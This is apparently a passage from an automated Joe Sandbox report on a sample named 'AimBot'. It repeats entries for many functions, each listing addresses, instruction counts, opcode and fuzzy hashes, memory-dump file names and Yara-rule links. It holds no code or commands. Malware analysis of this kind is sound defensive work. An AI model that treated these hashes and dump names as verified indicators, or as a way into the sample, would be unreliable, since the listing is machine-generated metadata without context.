Instruction ID: 99d8ddd4591ab00a91b6ee5490714e6692473a42bd2455e7bf965947ab27ea04
Opcode Fuzzy Hash: edf13b88237cc31c75faf4bdf0e5960bb585d61aa336c44501f11c17c0294fcc
Instruction Fuzzy Hash: 3841E1726183940BD31C9A3A8C6023ABBD3ABC5210F19863EF0E687385EA79C546D711

Function 006FA802 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460c5e197c05492de529841328f391d18a9b54fa24b26e23734daf90dec43b23
Instruction ID: c8392714ec9e62f0437fd15b7c5110b97ae4bec79b424d90af44a67ab8d9e187
Opcode Fuzzy Hash: 460c5e197c05492de529841328f391d18a9b54fa24b26e23734daf90dec43b23
Instruction Fuzzy Hash: 903176B02183808AD3308F54C495BABB7F2FF9A360F044A5DE5D98BBA2D7748841CB57

Function 00706B47 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 219f6af808ce5d1080d5885c6d3a66f49ca79d3498d1460e1df0982908048e38
Instruction ID: 569443f8af24ece17ac17b9272b065519b37614e2b5a1edfb357b25522c88694
Opcode Fuzzy Hash: 219f6af808ce5d1080d5885c6d3a66f49ca79d3498d1460e1df0982908048e38
Instruction Fuzzy Hash: E03160B8209381DBC710DF84E9A022BBBF1EF86745F005A1CF4C49B250E378D801DBA6

Function 0071D2A0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304e606a7d611bcc3a196c3125aa3542e231b240bd7e86d1ed82b841dfdc34b2
Instruction ID: 1f61a95c506c53071b3fd0a7619fdea6fbec8fca8b02d9c60c6f075fc5db9d85
Opcode Fuzzy Hash: 304e606a7d611bcc3a196c3125aa3542e231b240bd7e86d1ed82b841dfdc34b2
Instruction Fuzzy Hash: 1E3109327096108BC7394D7D8CD02AFB6929BC6330F29873DEAB68B3C1D6785C819642

Function 0071C070 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63356f5521128dee2ef8b6126fb66abb09ea02674fdf9cfe891b7b68e4f2e5ed
Instruction ID: 893144e7c382d435d55428cdbb95598350a4001f4d5814635fd6f96096937dad
Opcode Fuzzy Hash: 63356f5521128dee2ef8b6126fb66abb09ea02674fdf9cfe891b7b68e4f2e5ed
Instruction Fuzzy Hash: 032149329481289BC325DBADC88157BF7E4EF99704F16C62ED8C497291E3389C64D7E1

Function 006E0BA0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8071d169d55bba9be2580ef3b77e5e788fa808859306c4171d78a833e8d1b681
Instruction ID: d9b7388e360a69ee292a6e6267c6c44929ffbd149e16b8283c47b695226891e6
Opcode Fuzzy Hash: 8071d169d55bba9be2580ef3b77e5e788fa808859306c4171d78a833e8d1b681
Instruction Fuzzy Hash: A231C87161A3448FE7148F1AC88096AB7E2FFC5718F288A6CE84997341D775EC82CB41

Function 006E60A2 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032a4c5b6dc7207271d2eb90f04146dd0fc3b9a09feec05fd6959276b6b75565
Instruction ID: 763caab5bd0b371ac869d9038ef76808d1d7553098ccfcbc52caa74b04af20e9
Opcode Fuzzy Hash: 032a4c5b6dc7207271d2eb90f04146dd0fc3b9a09feec05fd6959276b6b75565
Instruction Fuzzy Hash: 6341F735205B819FC325CF29C490552FBE2BFAA214B588A4CD88647B52C771F819CB90

Function 007239A9 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b865a39d6c231622ceba7302dcf0a2d4e72e7a154242849cbd17877a36064f62
Instruction ID: 13b33393fc787995438de11db68dcb6a74c8da59a68106f61c7d38f6db7ff1cc
Opcode Fuzzy Hash: b865a39d6c231622ceba7302dcf0a2d4e72e7a154242849cbd17877a36064f62
Instruction Fuzzy Hash: 4221A170608340ABD714DF04EC95F2AB7F1EB81701F14882CF1C6972E2D639E950CB26

Function 007188D0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: c73760c1ce7ebaa8126a26473878b6a53444550ff016e1137825428e46b6b2ac
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 2511E933A051D50EC3168D3C84005B5BFE30BA3234B594399F4F89B2D6DA279DCA8357

Function 0070DCD0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32f922133e1aafd1e24b6e4488b0190d10523966ac796a8fd43e7c48970485e1
Instruction ID: 293e372206a7f20c28723e1c59dba4491f875c061cce397e483d20b5d84ebd14
Opcode Fuzzy Hash: 32f922133e1aafd1e24b6e4488b0190d10523966ac796a8fd43e7c48970485e1
Instruction Fuzzy Hash: EE0184F5B01341DBE730AE95D4D1B37B2E96F84704F184A2DE8085B382DBB9EC09D6A5

Function 00708310 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c135a92abe5c8232900c9a1ba1c07796e7cd0149cba352138d734d788b3cb2
Instruction ID: 9b90edc17337dffd23686320ffa723b1c8d60428c1afa31fb22052722b938d0a
Opcode Fuzzy Hash: e7c135a92abe5c8232900c9a1ba1c07796e7cd0149cba352138d734d788b3cb2
Instruction Fuzzy Hash: 091114B1908751CAD364DF14D15162EF7F1AB91B00F5A0A5CE5C0AB291EB39DE048BA3

Function 00711BFF Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df539849c25a98efe9e62d9197dc254cbaa4e7dcf28b149202fb625e3217ce8a
Instruction ID: efbe2bd81af2c976b48bf69612b13bc165c6d20271b209f9c18ec768a133c516
Opcode Fuzzy Hash: df539849c25a98efe9e62d9197dc254cbaa4e7dcf28b149202fb625e3217ce8a
Instruction Fuzzy Hash: BB1127B1405B408FC3318F648844A67FBF1AF16301F949A5ED9839B683E338F85A8B25

Function 007009D0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a60c195c7d174370a0b13828ed3bdc52e2aef21aac61dbb628c78db26f2c6ca
Instruction ID: b7dff0a70ec9568bafddd46c95e20e6553929652e3a774e2a53800cbc69b4f6a
Opcode Fuzzy Hash: 6a60c195c7d174370a0b13828ed3bdc52e2aef21aac61dbb628c78db26f2c6ca
Instruction Fuzzy Hash: 2B01A277A289210B874CCD3CDC2116BBAE15B95630F198B3C7AF6D33E0D628CC40879A

Function 006F9CF0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320eb0217fec67a95580c67fb46b94392a0663bda9a78110a55dcb31c63b308c
Instruction ID: 7f17170970bd8d96d3fd4a972186fe40f8c41739529d98e97132fa5b1f0464a0
Opcode Fuzzy Hash: 320eb0217fec67a95580c67fb46b94392a0663bda9a78110a55dcb31c63b308c
Instruction Fuzzy Hash: 85011E76A585114B874CDD3C9D2113A7ED26B89330F158B2DB8F6C73D0E67489504655

Function 006F89E0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84cfbcc63535d4d360f599c5df95d4d96c96224a7c5210d5cbf86d402339d9f1
Instruction ID: 7fad90465b88a4b417694f2a6b8366918731b633a0f8059d2d780883b260e705
Opcode Fuzzy Hash: 84cfbcc63535d4d360f599c5df95d4d96c96224a7c5210d5cbf86d402339d9f1
Instruction Fuzzy Hash: EB018F72A196200B8748CD3C981102BBED15F85330B168B6EBCF6D73E4E324CD004795

Function 006F26C3 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aaabd50c903483a7cef556d22fd658a4532a610630545672c711d2b0b38bb45
Instruction ID: 87e247c38fc25d88c84c5b44e2453a996dbae0bc74ec3daa2300fdc83b6bf8a1
Opcode Fuzzy Hash: 8aaabd50c903483a7cef556d22fd658a4532a610630545672c711d2b0b38bb45
Instruction Fuzzy Hash: 1E01DFB0C083958BC721EF14C8E1BBAF3E6BF85300F00095CE98997281E770AC45CB5A

Function 00722D79 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a2271bcfe541759a19ae080e89d26e8321601e053b147f0a72114035a27cb0
Instruction ID: 7f6b0d0a9e48479e3f1085604a3557dbd9f4ccac5104261b680f424ca2978d50
Opcode Fuzzy Hash: 46a2271bcfe541759a19ae080e89d26e8321601e053b147f0a72114035a27cb0
Instruction Fuzzy Hash: 99F0F93460C290ABD305AF18D854F2EFBF5EF96701F54881CE0C887662C379D855DB5A

Function 006F82E0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c651e6ea5a112e1a93d333b0ca6b5efbf6432ef1f4ba1acec9bf16476f2d3f86
Instruction ID: 2528e741dccfbbccc857f77415f05a3c644c1409f3bf22cf0b8526e8345fe3e7
Opcode Fuzzy Hash: c651e6ea5a112e1a93d333b0ca6b5efbf6432ef1f4ba1acec9bf16476f2d3f86
Instruction Fuzzy Hash: D2F05CB2A042145FDB2289889CC0F77FBDDCB87724F091495E94153202D1655840C3E5

Function 00723AB9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e822d8e83dd5a3a8b326292a242279b2e31a23d59eb8e2bfc714abdfcb7422e2
Instruction ID: 62732f40358e93e74523932fbe8ae37adfbe87d71b8a45ef7c9575fbd53376c3
Opcode Fuzzy Hash: e822d8e83dd5a3a8b326292a242279b2e31a23d59eb8e2bfc714abdfcb7422e2
Instruction Fuzzy Hash: B5F0177450C2809BD305EF58E4A4A2EFBF5EF96205F54892CE0C597222D33AD855CF5A

Function 0071E790 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: acf9f9bdd0133cd292d5f45504435b003f5d062d9326aa5c9596486b27a665b2
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 37D0A52150832147AB748D1D9400577F7F0EDC7B11F49555EF9C1D31C4E234DC41C169

Function 006EB7C7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 988ceb33f064187d73d18afcfa9d1ca5f5d7465e71c9646a93f8db94b8b52699
Instruction ID: c80b583ed4ba87ec719581853c21faa6af73ba5bda81ff7e4ca3206a873d7f16
Opcode Fuzzy Hash: 988ceb33f064187d73d18afcfa9d1ca5f5d7465e71c9646a93f8db94b8b52699
Instruction Fuzzy Hash: DBD0A730F4531147C71C8F1CCCD12BCB327AFC2215E4CD73D84121A5CAD6B850668244

Function 006FA993 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb50a9803f70b0c89a929ac510af7d2d4526aef5faab434ef4cea51055921ec4
Instruction ID: 2316e8bc7876b21f0a4a331eadf06bdfe722517e60bfca3e005c609f690d3fc1
Opcode Fuzzy Hash: bb50a9803f70b0c89a929ac510af7d2d4526aef5faab434ef4cea51055921ec4
